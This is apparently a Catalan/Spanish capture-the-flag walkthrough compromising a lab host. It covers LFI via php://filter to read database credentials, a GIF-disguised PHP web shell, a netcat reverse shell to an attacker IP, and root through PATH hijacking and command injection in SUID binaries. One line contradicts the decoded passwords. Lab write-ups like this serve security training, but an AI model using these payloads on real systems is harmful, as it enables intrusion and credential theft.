| CVE-2015-3185 4.3 https://vulners.com/cve/CVE-2015-3185
| CVE-2014-8109 4.3 https://vulners.com/cve/CVE-2014-8109
| 1337DAY-ID-33575 4.3 https://vulners.com/zdt/1337DAY-ID-33575 *EXPLOIT*
|_ PACKETSTORM:140265 0.0 https://vulners.com/packetstorm/PACKETSTORM:140265 *EXPLOIT*
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags:
| /login.php:
| PHPSESSID:
|_ httponly flag not set
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-comments-displayer: Couldn't find any comments.
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40613/tcp6 status
| 100024 1 46576/udp6 status
| 100024 1 50913/tcp status
|_ 100024 1 58315/udp status
3306/tcp open mysql syn-ack ttl 63 MySQL (blocked - too many connection errors)
| banner: k\x00\x00\x00\xFFi\x04Host '192.168.10.72' is blocked because o
|_f many connection errors; unblock with 'mysqladmin flush-hosts'
50913/tcp open status syn-ack ttl 63 1 (RPC #100024)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 0.041 days (since Tue Feb 17 10:00:51 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Host script results:
|_ipidseq: All zeros
|_clock-skew: -1s
| qscan:
| PORT FAMILY MEAN (us) STDDEV LOSS (%)
| 80 0 1121.50 349.88 0.0%
| 111 0 1090.50 281.39 0.0%
| 3306 0 1171.30 325.32 0.0%
|_50913 0 1287.50 410.90 0.0%
|_dns-brute: Can't guess domain of "192.168.10.176"; use dns-brute.domain script argument.
|_path-mtu: PMTU == 1500
|_fcrdns: FAIL (No PTR record)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 17 11:00:12 2026 -- 1 IP address (1 host up) scanned in 338.16 seconds

Després, detectant que té una pàgina web, accederem a la web:

image.png

2. EXPLOTACIÓ DE LFI I EXTRACCIÓ DE CREDENCIALS (Fase Web)

Sección titulada «2. EXPLOTACIÓN DE LFI Y EXTRACCIÓN DE CREDENCIALES (Fase Web)»

Tenim l'objectiu d'obtenir accés a fitxers sensibles del servidor (codi font i configuracions) aprofitant una vulnerabilitat en l'aplicació web anomenada “Local File Inclusion (LFI)” amb la tècnica anomenada “PHP Wrappers (php://filter)”

En realitzar la petició inicial amb curl o navegar al web, observarem l'estructura dels enllaços:

image.png

Estructura dels enllaços:

Ventana de terminal
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]

El uso del parámetro ?page= sugiere que el servidor está utilizando una función PHP (probablemente include(), require() o file_get_contents()) para cargar dinámicamente el contenido. El código en el backend probablemente se asemeja a esto:

<?php include($_GET['page'] . ".php"); ?>

Això és un vector clàssic per a LFI (Local File Inclusion). Si no hi ha sanitització, podem manipular page per carregar fitxers que el desenvolupador no tenia la intenció de mostrar.

Volem llegir el fitxer de configuració, que intuïm que es diu config o config.php.

Intento Fallido: Si hacemos: http://192.168.10.176/?page=config

image.png

Curl per terminal:

image.png

El servidor fa: include("config.php");

El Problema: L'arxiu config.php conté variables ($username, $password) però no imprime res (echo). Per tant, el servidor executa el codi PHP internament i ens retorna una pàgina en blanc. No veiem les contrasenyes.

Per evitar que el servidor executi el codi PHP, necessitem que ens el retornï com a text pla. Utilitzarem el protocol php://filter.

La Técnica: Le pedimos al servidor que:

  1. Obrir el recurs config.
  2. El passi per un filtre de conversió a Base64.
  3. Ens retornï el resultat.

Com que està en Base64, el servidor no el reconeix com a codi executable, així que imprimeix la cadena de text codificada.

La Comanda Executada:

Ventana de terminal
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ curl "http://192.168.10.176/?page=php://filter/convert.base64-encode/resource=config"

image.png

Ara decodificarem la cadena obtinguda eliminant la cadena o utilitzant l'opció -i (ignore garbage) si està disponible, tot i que el millor és eliminar els saltos de línia.

Ventana de terminal
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8" | tr -d '\n' | base64 -d

image.png

Després, hem obtingut el contingut real de config.php:

<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Ara que tenim les credencials de MySQL (root / H4u%QJ_H99) obtingudes per LFI, hem de conseguir accés al panell web i descobrir on es guarden els fitxers.

3.1. ENUMERACIÓ DE LA BASE DE DADES (El pas perdut)

Sección titulada «3.1. ENUMERACIÓN DE LA BASE DE DATOS (El paso perdido)»

Tenim l'usuari de la base de dades, però necessitem l'usuari de la web. Sovint, les dades estan correlacionades.

Ens connectarem al servidor MySQL remot des de la nostra màquina Kali.

Comanda:

┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ mysql -h 192.168.10.176 -u root -p
# Et demanarà password. Introdueix: H4u%QJ_H99

Si rebem l'error ERROR 1129 ... Host '...' is blocked:

image.png

  • Causa: Massa errors de connexió (Nmap).
  • Solució: Canviarem d'IP (VPN/Vbox).

Si rebem l'error ERROR 2026 (HY000): TLS/SSL error... o unknown variable 'ssl-mode':

image.png

  • Causa: El nostre client (MariaDB en Kali) requereix una flag diferent per desactivar l'SSL obligatori.

  • Solució: Utilitzarem la flag -skip-ssl.

    ┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
    └─$ mysql -h 192.168.10.176 -u root --skip-ssl -p

Un cop dins del prompt de MySQL (mysql>), executarem les següents consultes per veure què hi ha:

  1. Llistar bases de dades:

    ┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
    └─$ SHOW DATABASES;

    Resultat: Veurem una base de dades anomenada Users.

  2. Seleccionar la base de dades:

    ┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
    └─$ USE Users;
  3. Mirar les taules:

    ┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
    └─$ SHOW TABLES;

    Resultat: Hi ha una taula anomenada users.

  4. Vasar el contingut:

    ┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
    └─$ SELECT * FROM users;

image.png

La base de dades ens torna el següent (noms i contrasenyes en base64):

MySQL [Users]> SELECT * FROM users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.019 sec)
MySQL [Users]>

Sortim de MySQL (exit) i decodificarem les contrasenyes a la nostra terminal:

Ventana de terminal
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ echo "Sld6WHVCSkpOeQ==" | base64 -d
JWzXuBJJNy
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ echo "U0lmZHNURW42SQ==" | base64 -d
SIfdsTEn6I
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ echo "aVN2NVltMkdSbw==" | base64 -d
iSv5Ym2GRo
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$

Ara sabem que l'usuari web és mike i la contrasenya SIM2019.

Ara que tenim credencials vàlides, anirem a la web.

  1. Navegarem a http://192.168.10.176/?page=login.
  2. Introduirem User: kent / Pass: JWzXuBJJNy.
  3. Si l'inici de sessió és correcte, ens redirigirà o veurem que ara tenim accés a ?page=upload.

3.2.2 Creació de l'arxiu maliciós (Bypass de filtres)

Sección titulada «3.2.2 Creación del archivo malicioso (Bypass de filtros)»

L'aplicació normalment verifica que l'arxiu sigui una imatge. Si pujem un .php directament, ens donarà un error (“Extension not allowed”).

La tècnica: Crearem un “Fals GIF”.

  1. Afegirem l'encapçalament màgic GIF89a al principi de l'arxiu (el servidor pensa que és una imatge).
  2. Afegirem el cod PHP maliciós després.
  3. Guardarem com .gif.

Comanda a Kali:

Ventana de terminal
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ echo "GIF89a" > shell.gif
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ echo "<?php system(\$_GET['cmd']); ?>" >> shell.gif
  1. Anirem al login http://192.168.10.176/?page=login.

    image.png

  2. Anirem a http://192.168.10.176/?page=upload.

    image.png

  3. Seleccionarem l'arxiu shell.gif que acabem de crear.

    image.png

  4. Farem clic a “Upload”.

    image.png

Aquí respondem: “Com sabem on és l'arxiu?”.

En aplicacions web, el 90% de les vegades les imatges van a carpetes anomenades:

  • /uploads/
  • /upload/
  • /images/
  • /files/

Si no fos obvi, utilitzaríem gobuster per trobar carpetes ocultes:

┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ gobuster dir -u http://192.168.10.176 -w /usr/share/seclists/Discovery/Web-Content/common.txt

image.png

Resultat:

.
.
.
/upload (Status: 301) [Size: 317] [--> http://192.168.10.176/upload/]
.
.
.

Després, dins del navegador, entrarem a uploads per verificar si existeix l'arxiu que hem pujat:

  1. Obrem el navegador.

  2. Escribirem: http://192.168.10.176/upload/.

    image.png

En lloc de donar un error “403 Forbidden”, el servidor ens mostra una llista de tots els arxivers de la carpeta. Això és un error de configuració d'Apache (Options +Indexes).

Hem pogut veure el nostre arxiu, però amb el nom canviat a un hash MD5: f3035846cc279a1aff73b7c2c25367b9.gif.

4. EXECUCIÓ REMOTA DE CÓDIGO (RCE) I REVERSE SHELL

Sección titulada «4. EJECUCIÓN REMOTA DE CÓDIGO (RCE) Y REVERSE SHELL»

Seguidament, convertirem la capacitat de pujar arxivers i el LFI en una shell interactiva del sistema amb la vulnerabilitat anomenada “Directory Listing + Local File Inclusion (Cookie lang)” utilitzant l'arxiu maliciós de la shell que hem utilitzat anteriorment:f3035846cc279a1aff73b7c2c25367b9.gif

Després de pujar l'arxiu via ?page=upload, necessitàvem saber on es guardava i amb quin nom (ja que l'aplicació canvia el nom dels arxivers fent servir un hash MD5).

Verificarem el directori estàndard /upload/:

Ventana de terminal
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ curl http://192.168.10.176/upload/

Sabem per l'auditoria de codi prèvia (index.php) que l'aplicació fa això:

include("lang/".$_COOKIE['lang']);

Per tant, hem de:

  1. Sortir del directori lang/ utilitzant ../.
  2. Entrar al directori upload/.
  3. Apuntar al nostre fitxer .gif (que conté codi PHP maliciós).

Enviarem una petició modificant la galeta lang i passant la comanda id pel paràmetre GET cmd (que injectarem dins del GIF).

Ventana de terminal
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]
└─$ curl -v -b "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" "http://192.168.10.176/?cmd=id"

image.png

Resultat:

.
.
.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
.
.
.

Confirmem que tenim RCE com a usuari del servidor web.

4.3. OBTENCIÓ DE REVERSE SHELL (Initial Access)

Sección titulada «4.3. OBTENCIÓN DE REVERSE SHELL (Initial Access)»

Per treballar còmodament, necessitem una terminal interactiva, no només executar una comanda cada vegada.

A la nostra màquina d'atac (Kali), obrirem un port per rebre la connexió:

nc -nlvp 4444

image.png

Utilizaremos una Reverse Shell clásica de netcat (ya que nc suele estar instalado en estas máquinas). Como estamos pasando la comanda via URL, es crucial codificar los caracteres especiales (URL Encoding), especialmente & (%26) y espacios (+ o %20).

Comanda sense codificar:

Ventana de terminal
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.71 4444 >/tmp/f

Comanda d'Exploitació Final:

Ventana de terminal
curl -b "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" \
"http://192.168.10.176/?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.10.71+4444+>/tmp/f"

image.png

4.4. ESTABILITZACIÓ DE LA SHELL (Post-Explotació)

Sección titulada «4.4. ESTABILIZACIÓN DE LA SHELL (Post-Explotación)»

Un cop rebem la connexió al nc, la terminal és inestable (si fem Ctrl+C, perdem la connexió).

image.png

Procediment d'Estabilització:

  1. Elevació a TTY:

    python -c 'import pty; pty.spawn("/bin/bash")'
    # O si no hi ha python:
    /usr/bin/script -qc /bin/bash /dev/null
  2. Ajustar variables:

    export TERM=xterm

image.png

Ara tenim una shell estable com www-data. El següent pas és desplaçar-nos lateralment cap a l'usuari mike o kate utilitzant les credencials que ja tenim o que hem trobat a MySQL.

Tenint la shell reversa com www-data, ara el nostre objectiu és aconseguir accés root i llegir les flags utilitzant la tècnica “Abus de binari SUID + PATH Hijacking”.

Un cop que tenim la reverse shell, som l'usuari del servidor web (www-data). Aquest usuari té molt pocs privilegis. Necessitem convertir-nos en un usuari real del sistema.

En la fase anterior (MySQL), vam extreure i decodificar les contrasenyes dels usuaris:

  • kent : JWzXuBJJNy
  • mike : SIfdsTEn6I
  • kane : iSv5Ym2GRo

Provarem accedir amb les credencials dels usuaris que hem recollit:

image.png

En provar-ho, hem vist que amb l'usuari Kent ens ha funcionat i hem pogut accedir.

Buscarem vies per escalar a root. La tècnica més comuna a Linux és buscar binaris amb el bit SUID (Set User ID) activat. Aquests fitxers s'executen amb els permisos del propietari (root) en lloc dels de l'usuari que els executa.

find / -perm -u=s -type f 2>/dev/null

Resultat (Sortida filtrada):

image.png

Comprovant que no hi ha res amb aquest usuari, passarem a l'altre usuari anomenat kane i executarem la mateixa comanda:

image.png

Com a usuari kane, enumerarem el nostre directori i trobarem un binari sospitós.

Ventana de terminal
ls /home/kane/

Análisis del Binario: Ejecutaremos strings para ver qué hace:

strings /home/kane/msgmike

Resultat:

image.png

Vulnerabilitat detectada: El programa executa la comanda cat sense utilitzar la ruta absoluta (/bin/cat). Això permet un atac de PATH Hijacking. Com que el binari és SUID de mike, si secuestrem cat, executarem codi com a mike.

Volem que quan el programa cridi a cat, realment obri una shell (/bin/sh).

  1. Anar a un directori segur:

    Ventana de terminal
    cd /tmp
  2. Crear el fals cat:

    Ventana de terminal
    echo "/bin/bash" > cat
    chmod +x cat
  3. Manipular el PATH i executar:

    export PATH=/tmp:$PATH
    /home/kane/msgmike

image.png

Resultado: El programa intenta hacer cat ..., pero encuentra nuestro script en /tmp/cat. Se abre una nueva shell.

whoami
mike

Ara tenim el control total sobre l'usuari mike.

Ara que som mike, repetirem el procés d'enumeració.

A la carpeta home de mike trobarem un altre binari SUID.

Ventana de terminal
ls -la /home/mike/

image.png

Anàlisi del binari:

strings /home/mike/msg2root

image.png

Resultat:

Ventana de terminal
Message for root:
/bin/echo %s >> /root/messages.txt

Vulnerabilitat:

  • PATH Hijacking: No és possible perquè utilitza la ruta absoluta /bin/echo.
  • Command Injection: Sí. El programa agafa el text que escrivim (%s) i el posa dins de la cadena de la comanda system. Si posem un punt i coma (;), podem trencar la comanda original i executar la nostra.

La comanda que ejecuta el sistema es: /bin/echo [NUESTRO_INPUT] >> /root/messages.txt

Si nuestro input es test; /bin/sh -p, la comanda resultante será: /bin/echo test; /bin/sh -p >> /root/messages.txt

Això executarà l'echo i, seguidament, obrirà una shell de root.

Pas a pas:

  1. Executar el binari:

    ./msg2root
  2. Injectar el Payload: Cuando demande “Message for root:”, escribiremos:

    a; /bin/bash -p

Alternativa en una línia (One-Liner):

Ventana de terminal
echo "a; /bin/bash -p" | ./home/mike/msg2root
whoami
root

image.png

Com la shell interactiva és inestable, injectarem una comanda que llegeixi la flag i la guardi a /tmp amb permisos oberts. Utilitzarem /bin/cat (absolut) per evitar conflictes amb el nostre exploit anterior.

Payload: a; /bin/cat /root/flag.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt #

Execució (One-Liner):

Ventana de terminal
echo "a; /bin/cat /root/flag.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt #" | /home/mike/msg2root

image.png

Verificarem que el fitxer s'ha creat i pertany a root:

Ventana de terminal
ls -l /tmp/flag.txt

Resultado esperado (ÉXITO): Si vemos -rwxrwxrwx 1 root root ..., el exploit ha funcionado.

IMPORTANTE: Utilitzarem /bin/cat (ruta absoluta) perquè la variable PATH encara té /tmp al principi i podríem executar el nostre propi exploit cat per error en lloc de llegir el fitxer.

Ventana de terminal
/bin/cat /tmp/flag.txt

image.png